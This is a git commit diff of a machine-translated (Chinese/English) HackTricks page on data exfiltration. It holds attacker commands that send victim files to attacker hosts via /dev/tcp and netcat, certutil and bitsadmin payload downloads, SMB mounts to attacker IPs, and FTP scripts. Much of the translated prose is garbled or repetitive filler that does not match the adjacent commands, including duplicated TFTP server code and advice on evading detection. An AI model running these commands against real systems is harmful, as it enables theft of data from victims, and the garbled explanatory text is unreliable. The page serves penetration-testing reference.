Translated ['generic-methodologies-and-resources/exfiltration.md'] to cn

This commit is contained in:
Translator 2023-11-05 17:01:04 +00:00
parent d67a48d6d5
commit aa94b7a78e

View file

@ -4,17 +4,17 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder 跟踪的攻击面,运行主动威胁扫描,发现整个技术栈中的问题,从 API 到 Web 应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
找到最重要的漏洞以便更快地修复它们。Intruder 跟踪的攻击面,运行主动威胁扫描,发现整个技术栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -24,7 +24,7 @@
查看 [https://lots-project.com/](https://lots-project.com/) 以找到常见的白名单域名,可以被滥用
## 复制\&粘贴 Base64
## 复制粘贴 Base64
**Linux**
```bash
@ -33,52 +33,52 @@ base64 -d file #Decode file
```
**Windows**
Windows是一种广泛使用的操作系统因此在渗透测试中了解如何从Windows系统中窃取数据是至关重要的。以下是一些常见的Windows数据窃取方法和资源。
Windows是一种广泛使用的操作系统因此在渗透测试中了解如何从Windows系统中窃取数据是非常重要的。以下是一些常见的Windows数据窃取方法和资源。
## 内部网络数据窃取
## 内部数据窃取
### 内部网络扫描
### 剪贴板窃取
在Windows系统中可以使用工具如Nmap、Masscan和Zmap等进行内部网络扫描以发现其他主机和开放端口。这些工具可以帮助渗透测试人员识别潜在的目标和漏洞
剪贴板窃取是一种常见的数据窃取方法,攻击者可以通过监视剪贴板内容来获取用户复制的敏感信息。这可以通过恶意软件或恶意脚本来实现
### 端口转发和隧道
### 键盘记录器
端口转发和隧道技术可以帮助渗透测试人员在内部网络中建立通信通道以便从受限制的系统中窃取数据。常用的工具包括Plink、Socat和Meterpreter等
键盘记录器是一种记录用户按键的工具,攻击者可以使用它来获取用户输入的敏感信息,例如用户名、密码等。键盘记录器可以是硬件设备或恶意软件
### 数据包嗅探
### 进程注入
数据包嗅探是一种监视网络流量的技术可以用于捕获敏感数据。在Windows系统中可以使用工具如Wireshark、Tcpdump和WinPcap等进行数据包嗅探
进程注入是一种将恶意代码注入到正在运行的进程中的技术。攻击者可以使用进程注入来窃取进程中的敏感数据,例如登录凭据、会话令牌等
## 外部网络数据窃取
## 网络数据窃取
### 网络监听
网络监听是一种监视网络流量的技术,攻击者可以使用它来捕获传输的数据包。这可以通过使用网络分析工具、嗅探器或恶意软件来实现。
### 远程访问工具
远程访问工具可以帮助渗透测试人员从外部网络访问目标系统并窃取数据。常用的远程访问工具包括Netcat、Meterpreter和Powershell Empire等。
远程访问工具是一种允许攻击者远程控制受感染系统的工具。攻击者可以使用远程访问工具来窃取系统中的敏感数据
### 邮件和文件传输
### 数据包嗅探
通过电子邮件和文件传输渗透测试人员可以将窃取的数据从目标系统发送到外部网络。常用的工具包括SMTP客户端、FTP客户端和SCP客户端等
数据包嗅探是一种监视网络流量的技术,攻击者可以使用它来捕获传输的数据包。这可以通过使用网络分析工具、嗅探器或恶意软件来实现
### DNS隧道
## 存储介质数据窃取
DNS隧道是一种利用DNS协议进行数据传输的技术。渗透测试人员可以使用工具如Dnscat2和Iodine等在外部网络中建立DNS隧道以窃取数据。
### 可移动存储设备
## 数据编码和加密
攻击者可以使用可移动存储设备如USB闪存驱动器来窃取数据。他们可以将恶意软件或恶意脚本放置在可移动存储设备上当用户插入设备时恶意软件将自动运行并窃取数据。
### Base64编码
### 云存储
Base64编码是一种将二进制数据转换为可打印ASCII字符的编码方法。渗透测试人员可以使用Base64编码将窃取的数据进行编码以便在网络中传输
云存储是一种将数据存储在云中的技术,攻击者可以通过访问受感染系统上的云存储账户来窃取数据。这可以通过获取云存储账户的凭据或利用弱密码来实现
### 加密工具
加密工具可以帮助渗透测试人员对窃取的数据进行加密以保护数据的机密性。常用的加密工具包括GnuPG、OpenSSL和AESCrypt等。
以上是一些常见的Windows数据窃取方法和资源渗透测试人员可以根据具体情况选择适合的方法来窃取数据。
以上是一些常见的Windows数据窃取方法和资源。在渗透测试中了解这些方法和资源可以帮助攻击者更好地理解和利用Windows系统中的漏洞。
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
### HTTP
## HTTP
**Linux**
```bash
@ -105,31 +105,39 @@ Windows是一种广泛使用的操作系统因此在渗透测试中了解
数据包嗅探是一种监视网络流量的技术可以用于捕获敏感数据。在Windows系统中可以使用工具如Wireshark、Tcpdump和WinPcap等进行数据包嗅探。
## 外部网络数据窃取
### 远程桌面协议RDP
### 远程访问工具
远程桌面协议RDP是Windows系统中常用的远程访问协议。渗透测试人员可以使用工具如RDP Wrapper和FreeRDP等来窃取通过RDP传输的数据。
远程访问工具可以帮助渗透测试人员从外部网络访问目标系统并窃取数据。常用的远程访问工具包括Netcat、Meterpreter和Powershell Empire等。
## 云和SaaS数据窃取
### 邮件和文件传输
### 云存储和文件共享
通过电子邮件和文件传输渗透测试人员可以将窃取的数据从目标系统发送到外部网络。常用的工具包括SMTP客户端、FTP客户端和SCP客户端等
云存储和文件共享平台如Google Drive、Dropbox和OneDrive是常见的数据存储和共享方式。渗透测试人员可以使用工具如rclone、gdrive和dropbox_uploader等来窃取云存储和文件共享平台上的数据
### DNS隧道
### 电子邮件和消息平台
DNS隧道是一种利用DNS协议进行数据传输的技术。渗透测试人员可以使用工具如Dnscat2和Iodine等在外部网络中建立DNS隧道以窃取数据。
电子邮件和消息平台如Gmail、Outlook和Slack是常见的通信方式。渗透测试人员可以使用工具如IMAPClient、Outlook Redemption和Slack API等来窃取电子邮件和消息平台上的数据。
## 数据编码和加密
### 云数据库和数据仓库
### Base64编码
云数据库和数据仓库如Amazon RDS、Google Cloud SQL和Azure SQL Database存储了大量的敏感数据。渗透测试人员可以使用工具如SQLMap、NoSQLMap和AWS CLI等来窃取云数据库和数据仓库中的数据。
Base64编码是一种将二进制数据转换为可打印ASCII字符的编码方法。渗透测试人员可以使用Base64编码将窃取的数据进行编码以便在网络中传输。
### Web应用程序和API
### 加密工具
Web应用程序和API是常见的数据交互方式。渗透测试人员可以使用工具如Burp Suite、Postman和OWASP ZAP等来窃取Web应用程序和API中的数据。
加密工具可以帮助渗透测试人员对窃取的数据进行加密以保护数据的机密性。常用的加密工具包括GnuPG、OpenSSL和AESCrypt等。
## 物理设备数据窃取
以上是一些常见的Windows数据窃取方法和资源渗透测试人员可以根据具体情况选择适合的方法来窃取数据。
### 可移动存储设备
可移动存储设备如USB闪存驱动器和外部硬盘是常见的数据存储方式。渗透测试人员可以使用工具如USB Rubber Ducky和BadUSB等来窃取可移动存储设备中的数据。
### 网络设备
网络设备如路由器和交换机存储了大量的网络配置和日志数据。渗透测试人员可以使用工具如Telnet、SSH和SNMP等来窃取网络设备中的数据。
以上是一些常见的Windows数据窃取方法和资源渗透测试人员可以根据具体情况选择合适的方法来窃取目标系统中的数据。
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
@ -167,13 +175,11 @@ An HTTPS server is a type of server that uses the HTTPS (Hypertext Transfer Prot
To set up an HTTPS server, you need to obtain an SSL/TLS certificate from a trusted certificate authority (CA). This certificate is used to verify the identity of the server and establish a secure connection with the client. Once the certificate is obtained, it needs to be installed on the server.
There are several popular web servers that support HTTPS, such as Apache, Nginx, and Microsoft IIS. These servers can be configured to listen for HTTPS connections on a specific port (usually port 443) and handle the encryption and decryption of the data.
There are several popular web servers that support HTTPS, such as Apache, Nginx, and Microsoft IIS. These servers provide configuration options to enable HTTPS and specify the location of the SSL/TLS certificate.
When a client connects to an HTTPS server, the server presents its SSL/TLS certificate to the client. The client then verifies the authenticity of the certificate and establishes a secure connection with the server. All data transmitted between the client and the server is encrypted using the SSL/TLS protocol, preventing eavesdropping and tampering.
When a client connects to an HTTPS server, the server presents its SSL/TLS certificate to the client. The client verifies the certificate to ensure it is valid and trusted. If the certificate is valid, the client and server establish a secure connection using encryption algorithms such as SSL or TLS. This ensures that the data transmitted between the client and server is encrypted and cannot be intercepted or tampered with by attackers.
HTTPS servers are commonly used for secure online transactions, such as e-commerce websites, online banking, and other applications that require the protection of sensitive information. By using HTTPS, the server ensures that the data exchanged between the client and the server is secure and cannot be intercepted or modified by attackers.
Setting up and configuring an HTTPS server requires careful attention to security practices and best practices. It is important to keep the server and its software up to date with the latest security patches and to follow secure configuration guidelines to minimize the risk of vulnerabilities and attacks.
Using an HTTPS server is essential for protecting sensitive information, such as login credentials, credit card numbers, and personal data, from being intercepted by malicious actors. It is widely used in e-commerce websites, online banking platforms, and any other application that requires secure communication over the internet.
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
@ -242,7 +248,7 @@ def ftp_download(hostname, username, password, remote_file, local_file):
print("Error downloading file:", e)
```
使用Python编写的FTP服务器。
### FTP上传
```python
import ftplib
@ -256,6 +262,12 @@ def ftp_upload(hostname, username, password, local_file, remote_file):
print("文件上传成功。")
except ftplib.all_errors as e:
print("上传文件时出错:", e)
```
### FTP下载
```python
import ftplib
def ftp_download(hostname, username, password, remote_file, local_file):
try:
@ -282,7 +294,7 @@ To set up an FTP server using NodeJS, we need to install the `ftp-srv` package.
```javascript
const ftpsrv = require('ftp-srv');
const server = new ftpsrv('ftp://127.0.0.1:21', {
const server = new ftpsrv('ftp://localhost:21', {
anonymous: true,
greeting: 'Welcome to the FTP server',
});
@ -300,64 +312,64 @@ server.listen()
console.log('FTP server started');
})
.catch((err) => {
console.error('Failed to start FTP server:', err);
console.error('Error starting FTP server:', err);
});
```
In the above code, we create a new instance of the `ftpsrv` class and pass the FTP server URL (`ftp://127.0.0.1:21`) as well as some optional configuration options. We set `anonymous` to `true` to allow anonymous login and provide a greeting message.
In the above code, we create a new FTP server instance using the `ftp-srv` package. We specify the server URL (`ftp://localhost:21`) and set the `anonymous` option to `true` to allow anonymous access. We also provide a greeting message to be displayed when a client connects to the server.
We also listen for the `login` event, which is triggered when a client attempts to log in to the FTP server. In the event handler, we check if the provided username and password match the anonymous login credentials. If they do, we resolve the login request and specify the root directory for the FTP server. If the credentials are invalid, we reject the login request with an error.
Next, we listen for the `login` event, which is triggered when a client attempts to log in to the server. In the event handler, we check if the provided username and password match the anonymous credentials. If they do, we resolve the login request and specify the root directory for the FTP server. If the credentials are invalid, we reject the login request with an error.
Finally, we call the `listen` method to start the FTP server. If the server starts successfully, we log a success message. If there is an error, we log an error message.
Finally, we start the FTP server by calling the `listen` method. If the server starts successfully, we log a success message to the console. If an error occurs during startup, we log an error message.
#### Connecting to the FTP server
Once the FTP server is set up and running, clients can connect to it using an FTP client application. They can use the server URL (`ftp://127.0.0.1:21`) and provide the username and password (if required) to log in.
To connect to the FTP server, clients can use any FTP client software, such as FileZilla or WinSCP. They need to provide the server URL (`ftp://localhost:21`) and can choose to log in anonymously or with valid credentials.
After successfully logging in, clients can perform various operations such as uploading files, downloading files, creating directories, and deleting files. The FTP server handles these operations and ensures the secure transfer of files between the client and the server.
Once connected, clients can perform various operations, such as uploading and downloading files, creating directories, and deleting files. The FTP server handles these operations and ensures the proper transfer of data between the client and the server.
#### Conclusion
Setting up an FTP server using NodeJS is a straightforward process. By following the steps outlined in this section, you can create your own FTP server and facilitate the secure transfer of files over a network.
Setting up an FTP server using NodeJS is a straightforward process with the help of the `ftp-srv` package. By following the steps outlined in this section, you can create your own FTP server and facilitate file transfers between clients and servers.
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### FTP服务器pure-ftp
FTP服务器是一种常见的文件传输协议用于在网络上传输文件。Pure-FTP是一种流行的FTP服务器软件提供了安全的文件传输功能。
FTP服务器是一种常见的文件传输协议用于在网络上传输文件。Pure-FTP是一种流行的FTP服务器软件提供了安全和可靠的文件传输功能。
#### 概述
Pure-FTP服务器使用FTP协议来接收和发送文件。攻击者可以利用各种技术来从目标FTP服务器中窃取敏感数据。以下是一些常见的方法:
攻击者可以利用FTP服务器进行数据泄露。以下是一些常见的攻击方法:
#### 1. 基于弱密码的攻击
1. **暴力破解密码**攻击者可以使用暴力破解工具尝试猜解FTP服务器的密码。他们可以使用常见的密码字典或自定义的密码列表进行尝试。
攻击者可以使用暴力破解或字典攻击等技术来尝试破解FTP服务器的密码。如果FTP服务器使用弱密码攻击者可以成功登录并访问服务器上的文件。
2. **嗅探FTP流量**攻击者可以使用网络嗅探工具来捕获经过FTP服务器的流量。通过分析流量他们可以获取敏感信息如用户名、密码和传输的文件。
#### 2. 恶意软件注入
3. **利用弱密码**如果FTP服务器使用弱密码保护攻击者可以轻松地猜解密码并获取访问权限。
攻击者可以通过向FTP服务器上传恶意软件来感染服务器。一旦恶意软件被执行攻击者可以利用它来窃取服务器上的文件并将其传输到远程服务器。
#### 3. 数据包嗅探
攻击者可以使用数据包嗅探工具来拦截通过网络传输的FTP数据包。通过分析这些数据包攻击者可以获取敏感数据如用户名、密码和文件内容。
#### 4. 中间人攻击
攻击者可以通过在客户端和FTP服务器之间插入自己的服务器来进行中间人攻击。这使得攻击者能够窃取传输的文件和敏感信息。
4. **利用软件漏洞**攻击者可以利用FTP服务器软件中的漏洞来获取未经授权的访问权限。他们可以使用已知的漏洞或自己发现的新漏洞。
#### 防御措施
为了保护FTP服务器免受数据泄露的风险,以下是一些推荐的防御措施:
为了保护FTP服务器免受攻击以下是一些推荐的防御措施
- 使用强密码确保FTP服务器的密码是强密码并定期更改密码。
- 加密传输使用SSL/TLS等加密协议来保护FTP数据的传输。
- 定期更新软件确保FTP服务器软件和操作系统都是最新的以修复已知的安全漏洞。
- 监控日志定期检查FTP服务器的日志以便及时发现异常活动。
- 限制访问权限只允许授权用户访问FTP服务器并限制他们的权限。
1. **使用强密码**确保FTP服务器的密码是强密码包含字母、数字和特殊字符并且长度足够长。
通过采取这些防御措施可以减少FTP服务器被攻击的风险并保护敏感数据的安全。
2. **限制登录尝试**设置FTP服务器以限制登录尝试次数并在一定次数的失败尝试后锁定账户。
3. **加密传输**使用安全的传输协议如FTPSFTP over SSL/TLS或SFTPSSH File Transfer Protocol以加密FTP流量。
4. **定期更新软件**及时更新FTP服务器软件以修复已知的漏洞并确保使用最新的安全补丁。
5. **监控日志**定期检查FTP服务器的日志文件以便及时发现异常活动和潜在的攻击。
6. **网络分段**将FTP服务器放置在独立的网络段中并使用防火墙限制对FTP服务器的访问。
7. **访问控制**根据需要限制FTP服务器的访问权限并仅允许授权用户进行文件传输。
通过采取这些防御措施可以增强FTP服务器的安全性并减少数据泄露的风险。
```bash
apt-get update && apt-get install pure-ftp
```
@ -377,37 +389,37 @@ chown -R ftpuser:ftpgroup /ftphome/
```
### **Windows** 客户端
#### Exfiltration Techniques
在进行渗透测试期间,从目标系统中窃取敏感数据是一个重要的任务。这个过程被称为数据泄露。在 Windows 客户端上,有几种常见的方法可以实现数据泄露。
Exfiltration is the process of unauthorized data transfer from a target system to an external location. In the context of penetration testing, exfiltration techniques are used to demonstrate the potential vulnerabilities in a system's data protection mechanisms.
#### **剪贴板**
Here are some common exfiltration techniques that can be used on a Windows client:
剪贴板是一个用于复制和粘贴文本、图像和其他数据的临时存储区域。通过监视剪贴板,可以捕获用户复制到剪贴板的敏感数据。这可以通过使用键盘记录器或特定的恶意软件来实现。
1. **File Transfer**: This technique involves copying sensitive files from the target system to an external location. It can be done using various methods such as FTP, SMB, or cloud storage services.
#### **网络流量**
2. **Email**: Sending sensitive data via email is another exfiltration technique. Attackers can attach the files to an email and send them to their own email address or a compromised account.
通过监视网络流量,可以捕获从 Windows 客户端发送到外部服务器的数据。这可以通过使用网络嗅探工具来实现,例如 Wireshark。
3. **Web-based Exfiltration**: Attackers can use web-based services to exfiltrate data. This can be done by uploading files to a cloud storage service or using web forms to send data to an external server.
#### **文件传输**
4. **DNS Tunneling**: DNS tunneling involves encoding sensitive data into DNS queries and responses. Attackers can use this technique to bypass firewalls and exfiltrate data by sending DNS requests to a controlled server.
通过将敏感数据保存在文件中,然后将文件传输到外部服务器,可以实现数据泄露。这可以通过使用文件传输协议(如 FTP、SFTP 或 SCP或云存储服务如 Dropbox 或 Google Drive来实现。
5. **Covert Channels**: Covert channels are hidden communication channels that can be used to exfiltrate data. Attackers can use techniques such as steganography (hiding data within images or other files) or encoding data into seemingly innocuous traffic to transfer sensitive information.
#### **邮件**
#### Countermeasures
通过将敏感数据作为附件发送到外部电子邮件地址,可以实现数据泄露。这可以通过使用电子邮件客户端或脚本来实现。
To protect against exfiltration attacks on Windows clients, consider implementing the following countermeasures:
#### **远程访问**
1. **Network Segmentation**: Segmenting the network can help contain the impact of an exfiltration attack. By separating sensitive data from other systems, you can limit the attacker's ability to access and exfiltrate data.
通过远程访问 Windows 客户端可以直接从目标系统中提取敏感数据。这可以通过使用远程桌面协议RDP或虚拟专用网络VPN来实现。
2. **Data Loss Prevention (DLP)**: Implementing DLP solutions can help detect and prevent unauthorized data transfers. DLP tools can monitor network traffic, identify sensitive data, and block or alert on suspicious activities.
#### **社交工程**
3. **Endpoint Protection**: Deploying endpoint protection solutions can help detect and block exfiltration attempts. These solutions can monitor file transfers, email communications, and network traffic for signs of data exfiltration.
通过欺骗用户,诱使其主动泄露敏感数据,这被称为社交工程。这可以通过使用钓鱼网站、恶意软件或社交工程工具来实现。
4. **User Education**: Educating users about the risks of data exfiltration and the importance of following security best practices can help prevent successful attacks. Users should be trained to recognize phishing emails, avoid downloading suspicious files, and report any suspicious activities.
#### **其他资源**
5. **Monitoring and Logging**: Implementing robust monitoring and logging mechanisms can help detect exfiltration attempts and provide valuable forensic evidence. Monitor network traffic, system logs, and user activities to identify any abnormal or suspicious behavior.
除了上述方法之外,还有其他一些资源可以用于实现数据泄露,例如使用 USB 设备、打印机或其他外部存储设备。这些方法通常需要物理访问目标系统。
By understanding common exfiltration techniques and implementing appropriate countermeasures, you can enhance the security of Windows clients and protect sensitive data from unauthorized access and transfer.
在进行数据泄露时,务必遵守法律和道德准则,并确保获得适当的授权。
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
@ -452,47 +464,39 @@ service smbd restart
```
# 数据外泄
数据外泄是指未经授权的数据泄露或传输。在渗透测试中,数据外泄是一个重要的目标,因为它可以揭示敏感信息并对组织造成严重损害。以下是一些常见的数据外泄技术和资源
在渗透测试过程中,数据外泄是一个重要的目标。数据外泄是指将敏感信息从目标系统中提取并传输到攻击者控制的位置。这些敏感信息可能包括用户凭据、机密文件、数据库内容等
## 1. 文件传输
## 常见的数据外泄方法
文件传输是将数据从受攻击的系统传输到攻击者控制的系统的过程。以下是一些常用的文件传输方法:
以下是一些常见的数据外泄方法:
- 使用文件传输协议FTP将文件从受攻击的系统上传到攻击者的系统。
- 使用远程桌面协议RDP或虚拟网络计算机VNC等远程访问工具将文件从受攻击的系统复制到攻击者的系统。
- 使用云存储服务如Dropbox、Google Drive等将文件上传到云端然后从云端下载到攻击者的系统。
1. **文件传输**攻击者可以使用各种方法将目标系统中的文件传输到自己的位置。这可以通过使用文件传输协议如FTP、SFTP或使用云存储服务如Dropbox、Google Drive来实现。
## 2. 数据编码和加密
2. **邮件外泄**攻击者可以将敏感信息发送到自己的电子邮件地址。这可以通过利用目标系统上的电子邮件客户端或使用命令行工具如sendmail来实现。
数据编码和加密是将敏感数据转换为不可读或难以理解的形式,以防止未经授权的访问。以下是一些常用的数据编码和加密方法:
3. **远程访问**攻击者可以通过远程访问协议如RDP、SSH连接到目标系统并从中提取敏感信息。
- Base64编码将二进制数据转换为可打印字符的编码格式。
- 加密算法使用对称加密算法如AES或非对称加密算法如RSA对数据进行加密。
- 隐写术:将数据隐藏在其他文件或媒体中,以避免被发现。
4. **数据编码**攻击者可以将敏感信息编码为不可读的格式以避免被检测。这可以通过使用Base64编码或自定义编码算法来实现。
## 3. 隧道和代理
5. **隐蔽通道**攻击者可以利用目标系统上的隐蔽通道来传输敏感信息。这可以包括使用DNS隐蔽通道、隐蔽在图像或音频文件中的数据等。
隧道和代理是将数据通过其他网络通道传输的方法,以绕过网络防御机制。以下是一些常用的隧道和代理技术:
## 数据外泄工具和资源
- VPN隧道使用虚拟专用网络VPN建立安全的加密通道将数据从受攻击的系统传输到攻击者的系统。
- SOCKS代理使用SOCKS代理服务器将数据从受攻击的系统传输到攻击者的系统。
- HTTP代理使用HTTP代理服务器将数据通过HTTP协议传输到攻击者的系统。
以下是一些常用的数据外泄工具和资源:
## 4. 邮件和消息传递
- **文件传输工具**:例如`wget`、`curl`、`scp`等,用于在命令行中传输文件。
邮件和消息传递是通过电子邮件或即时消息服务传输数据的方法。以下是一些常用的邮件和消息传递技术:
- **邮件客户端**例如Microsoft Outlook、Mozilla Thunderbird等用于发送和接收电子邮件。
- 通过SMTP协议发送电子邮件将数据从受攻击的系统发送到攻击者的系统。
- 使用即时消息服务如XMPP、IRC等将数据从受攻击的系统传输到攻击者的系统。
- **编码工具**例如Base64编码器/解码器用于将数据编码为Base64格式。
## 5. 数据压缩和分割
- **隐蔽通道工具**:例如`dnscat2`、`steghide`等,用于利用隐蔽通道传输数据。
数据压缩和分割是将数据压缩或分割成多个部分,以便更容易传输和隐藏。以下是一些常用的数据压缩和分割方法:
- **云存储服务**例如Dropbox、Google Drive等用于在云端存储和传输文件。
- 使用压缩算法如ZIP、RAR等将数据压缩成较小的文件。
- 将数据分割成多个部分,并使用文件分割工具将这些部分分别传输到攻击者的系统。
- **远程访问工具**例如RDP客户端、SSH客户端等用于远程连接到目标系统。
以上是一些常见的数据外泄技术和资源,渗透测试人员可以根据具体情况选择适合的方法来实现数据外泄。
以上是一些常见的数据外泄方法和工具,攻击者可以根据具体情况选择合适的方法来实现数据外泄。
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -551,7 +555,11 @@ nc -vn <IP> 4444 < exfil_file
cat /path/to/file > /dev/tcp/<attacker_ip>/<attacker_port>
```
This method allows the attacker to download a file from the victim's machine by redirecting the file's contents to the attacker's IP address and port number using the `/dev/tcp` device file.
使用`/dev/tcp`设备节点从受害者下载文件。
```bash
cat /path/to/file > /dev/tcp/<攻击者IP>/<攻击者端口>
```
### Upload file to victim
```bash
@ -560,19 +568,19 @@ cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### 将文件上传到受害者计算机
To exfiltrate data from a victim's computer, one common method is to upload a file to the target system. This allows the attacker to transfer sensitive information from the victim's machine to their own.
To exfiltrate data from a victim's computer, one common method is to upload a file to their system. This allows the attacker to transfer sensitive information or malware to the victim's machine.
There are several ways to accomplish this:
There are several techniques that can be used to accomplish this:
1. **Web-based file upload**: Exploiting vulnerabilities in web applications that allow file uploads can be an effective method. Attackers can upload malicious files that contain code to exfiltrate data.
1. **Web-based file upload**: Exploiting vulnerabilities in web applications that allow file uploads can be an effective way to exfiltrate data. By uploading a malicious file, the attacker can gain access to the victim's system.
2. **Email attachments**: Sending an email with an attachment that contains the sensitive data is another option. The victim unknowingly opens the attachment, allowing the attacker to gain access to the data.
2. **Email attachments**: Sending an email with a malicious attachment to the victim can also be used to upload a file. Once the victim opens the attachment, the file is uploaded to their computer.
3. **Remote file transfer**: Using tools like FTP (File Transfer Protocol) or SCP (Secure Copy Protocol), attackers can transfer files from the victim's computer to their own. This method requires prior access to the victim's system.
3. **File transfer protocols**: Utilizing file transfer protocols such as FTP (File Transfer Protocol) or SFTP (Secure File Transfer Protocol) can enable the attacker to upload files to the victim's machine.
4. **Cloud storage**: Attackers can leverage cloud storage platforms to upload files from the victim's computer. This can be done by compromising the victim's cloud account or by exploiting vulnerabilities in the cloud service itself.
4. **Cloud storage services**: Leveraging cloud storage services like Dropbox, Google Drive, or OneDrive can provide a convenient way to upload files to the victim's computer. By tricking the victim into syncing their cloud storage, the attacker can gain access to the uploaded files.
It is important for security professionals to be aware of these methods in order to protect against data exfiltration. Implementing strong security measures, such as regular vulnerability assessments and secure file upload configurations, can help mitigate the risk of file uploads being used for malicious purposes.
It is important for attackers to choose the most suitable method based on the target's environment and vulnerabilities. Additionally, taking precautions to avoid detection, such as encrypting the uploaded files or disguising them as harmless documents, can increase the chances of a successful exfiltration.
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
@ -653,6 +661,8 @@ def tftp_server():
end_index = start_index + 512
data_packet = struct.pack('!HH', 3, block_number) + file_data[start_index:end_index]
server_socket.sendto(data_packet, client_address)
# 等待ACK
ack_packet, _ = server_socket.recvfrom(4)
ack_block_number = struct.unpack('!HH', ack_packet[:4])[1]
@ -671,14 +681,16 @@ def tftp_server():
file_data = b''
block_number = 0
while True:
ack_packet = struct.pack('!HH', 4, block_number)
server_socket.sendto(ack_packet, client_address)
# 等待数据包
data_packet, _ = server_socket.recvfrom(516)
received_block_number = struct.unpack('!HH', data_packet[:4])[1]
if received_block_number == block_number + 1:
file_data += data_packet[4:]
block_number += 1
file_data += data_packet[4:]
ack_packet = struct.pack('!HH', 4, block_number)
server_socket.sendto(ack_packet, client_address)
if len(data_packet) < 516:
break
else:
@ -689,101 +701,13 @@ def tftp_server():
with open(filename, 'wb') as file:
file.write(file_data)
except:
error_packet = struct.pack('!HH', 5, 2) + b'Access violation'
error_packet = struct.pack('!HH', 5, 2) + b'Error writing file'
server_socket.sendto(error_packet, client_address)
continue
else:
# 不支持的操作码
error_packet = struct.pack('!HH', 5, 4) + b'Illegal TFTP operation'
server_socket.sendto(error_packet, client_address)
server_socket.close()
if __name__ == '__main__':
tftp_server()
```
**TFTP服务器是一种用于文件传输的简单协议。它使用UDP协议进行通信。该Python代码实现了一个TFTP服务器可以处理客户端的读取和写入请求。**
```python
import socket
import struct
def tftp_server():
# 创建UDP套接字
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(('0.0.0.0', 69))
while True:
# 接收客户端请求
data, client_address = server_socket.recvfrom(516)
opcode = struct.unpack('!H', data[:2])[0]
if opcode == 1:
# 处理读请求
filename = data[2:data.index(b'\x00', 2)].decode('utf-8')
mode = data[data.index(b'\x00', 2) + 1:data.index(b'\x00', data.index(b'\x00', 2) + 1)].decode('utf-8')
# 读取文件内容
try:
with open(filename, 'rb') as file:
file_data = file.read()
except FileNotFoundError:
error_packet = struct.pack('!HH', 5, 1) + b'文件未找到'
server_socket.sendto(error_packet, client_address)
continue
# 发送文件内容
block_number = 1
start_index = 0
while start_index < len(file_data):
end_index = start_index + 512
data_packet = struct.pack('!HH', 3, block_number) + file_data[start_index:end_index]
server_socket.sendto(data_packet, client_address)
ack_packet, _ = server_socket.recvfrom(4)
ack_block_number = struct.unpack('!HH', ack_packet[:4])[1]
if ack_block_number == block_number:
block_number += 1
start_index = end_index
else:
break
elif opcode == 2:
# 处理写请求
filename = data[2:data.index(b'\x00', 2)].decode('utf-8')
mode = data[data.index(b'\x00', 2) + 1:data.index(b'\x00', data.index(b'\x00', 2) + 1)].decode('utf-8')
# 接收文件内容
file_data = b''
block_number = 0
while True:
ack_packet = struct.pack('!HH', 4, block_number)
server_socket.sendto(ack_packet, client_address)
data_packet, _ = server_socket.recvfrom(516)
received_block_number = struct.unpack('!HH', data_packet[:4])[1]
if received_block_number == block_number + 1:
file_data += data_packet[4:]
block_number += 1
if len(data_packet) < 516:
break
else:
break
